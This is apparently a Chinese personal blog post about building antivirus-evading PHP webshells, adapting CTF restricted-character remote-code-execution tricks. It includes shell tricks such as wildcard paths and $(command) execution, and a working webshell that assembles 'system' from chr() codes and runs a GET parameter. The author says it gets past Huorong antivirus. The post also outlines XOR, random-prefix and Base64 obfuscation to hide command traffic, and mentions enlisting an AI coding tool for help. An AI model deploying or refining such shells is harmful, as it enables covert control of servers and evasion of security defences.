想到啥说啥

感觉手上的马子太少了,至今还在是用一句话木马,这遇到杀软什么的包死的,想到之前打ctf的时候,做过些极限rce的题目,可以搬来用用,那就基于ctfshow的那几道极限rce的题目研究一下

以数字替换字母构造函数的混淆法

限制条件1

禁止 了以下字符:

  • 字母: b-z (小写b到z)、 A-Z (大写A到Z)
  • 特殊符号: _ 、 @ 、 # 、 % 、 ^ 、 & 、 * 、 : 、 {} 、 - 、 + 、 <> 、 “ 、 | 、` 、 ; 、 [ 、 ]

操作空间

目测字母只有a可用,然后数字能用
嗯,想了下发现$?也能用,那么操作空间来了
可以用通配符加数字来比对文件执行:/???/????64 ——/bin/base64
或者用$来执行命令,以$(command)的形式,比如:$(id)

或者$0是当前shell、$$是当前shell的进程id
当然有点局限了,但是php代码中,反撇号`可以直接执行命令,如果被禁用,可以用$(command)来代替
嗯暂时想到这么多,太久没思考了,让trae帮我动动脑子,点化我一下

数字替换构造函数的混淆马

这个限制条件下,反正我是不知道怎么写webshell,嗯那么想着基于这个思想写个免杀马

1
2
3
4
<?php
$a = chr(115) . chr(121) . chr(115) . chr(116) . chr(101) . chr(109); // system
$a($_GET[0]);
?>

过火绒(不是哥们,这就过了?)

然后就是以这个免杀的思路来写个带有面板的shell文件

嗯静态现在不报毒了,那就研究下流量加密

现在基本是功能完善了,但是流量太一目了然了

思路

弄了个简单的加解密算法,核心逻辑就是XOR异或->添加随机混淆->Base64编码,解密就是逆过来

异或

随便设置个密钥,然后让密钥与要发送的数据的每个字节进行XOR运算,密钥循环使用(当数据长度超过密钥长度时)

随机混淆

在加密数据前后添加8字节随机前缀

base64编码

将混淆后的二进制数据转换为Base64字符串,便于HTTP传输,避免特殊字符问题

结果

执行一个whoami命令

然后接收到的结果

页面显示:

嗯现在火绒是已经不会报毒了,先让trae帮我找找不足吧